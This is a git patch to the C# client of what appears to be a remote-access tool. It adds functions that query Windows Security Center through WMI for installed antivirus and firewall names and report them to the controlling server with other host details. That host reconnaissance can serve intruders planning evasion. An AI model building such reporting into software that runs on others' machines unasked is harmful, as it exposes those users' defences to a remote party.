From bc814904c455666e44ed63fa82fd93d2c2909be5 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Fri, 18 Jul 2014 18:23:04 +0200 Subject: [PATCH] Added Antivirus & Firewall detection --- Client/Core/Commands/CommandHandler.cs | 6 ++++- Client/Core/Helper/Helper.cs | 6 +++++ Client/Core/SystemCore.cs | 36 ++++++++++++++++++++++++++ 3 files changed, 47 insertions(+), 1 deletion(-) diff --git a/Client/Core/Commands/CommandHandler.cs b/Client/Core/Commands/CommandHandler.cs index 4e5a4fda..0003d4ac 100644 --- a/Client/Core/Commands/CommandHandler.cs +++ b/Client/Core/Commands/CommandHandler.cs @@ -320,7 +320,7 @@ public static void HandleGetSystemInfo(Core.Packets.ServerPackets.GetSystemInfo { try { - string[] infoCollection = new string[16]; + string[] infoCollection = new string[20]; infoCollection[0] = "Processor (CPU)"; infoCollection[1] = SystemCore.GetCpu(); infoCollection[2] = "Memory (RAM)"; @@ -337,6 +337,10 @@ public static void HandleGetSystemInfo(Core.Packets.ServerPackets.GetSystemInfo infoCollection[13] = SystemCore.GetLanIp(); infoCollection[14] = "WAN IP Address"; infoCollection[15] = SystemCore.WANIP; + infoCollection[16] = "Antivirus"; + infoCollection[17] = SystemCore.GetAntivirus(); + infoCollection[18] = "Firewall"; + infoCollection[19] = SystemCore.GetFirewall(); new Core.Packets.ClientPackets.GetSystemInfoResponse(infoCollection).Execute(client); } catch diff --git a/Client/Core/Helper/Helper.cs b/Client/Core/Helper/Helper.cs index d5e42232..bcabce10 100644 --- a/Client/Core/Helper/Helper.cs +++ b/Client/Core/Helper/Helper.cs @@ -162,5 +162,11 @@ public static unsafe Bitmap GetDiffDesktop(Bitmap bmp, Bitmap bmp2) return bmpRes; } + + public static bool IsWindowsXP() + { + var OsVersion = Environment.OSVersion.Version; + return OsVersion.Major == 5 && OsVersion.Minor >= 1; + } } } diff --git a/Client/Core/SystemCore.cs b/Client/Core/SystemCore.cs index ca06a7ff..ae490700 100644 --- a/Client/Core/SystemCore.cs +++ b/Client/Core/SystemCore.cs @@ -162,6 +162,42 @@ public static string GetLanIp() return (localIP == "-") ? localIP : localIP.Remove(localIP.Length - 2); ; } + public static string GetAntivirus() + { + try + { + string AntivirusName = string.Empty; + string Scope = (Helper.IsWindowsXP()) ? "root\\SecurityCenter" : "root\\SecurityCenter2"; + string Query = "SELECT * FROM AntivirusProduct"; + ManagementObjectSearcher searcher = new ManagementObjectSearcher(Scope, Query); + foreach (ManagementObject Mobject in searcher.Get()) + AntivirusName = Mobject["displayName"].ToString(); + return AntivirusName; + } + catch + { + return "Unknown"; + } + } + + public static string GetFirewall() + { + try + { + string FirewallName = string.Empty; + string Scope = (Helper.IsWindowsXP()) ? "root\\SecurityCenter" : "root\\SecurityCenter2"; + string Query = "SELECT * FROM FirewallProduct"; + ManagementObjectSearcher searcher = new ManagementObjectSearcher(Scope, Query); + foreach (ManagementObject Mobject in searcher.Get()) + FirewallName = Mobject["displayName"].ToString(); + return FirewallName; + } + catch + { + return "Unknown"; + } + } + public static void InitializeGeoIp() { GeoIP gIP = new GeoIP();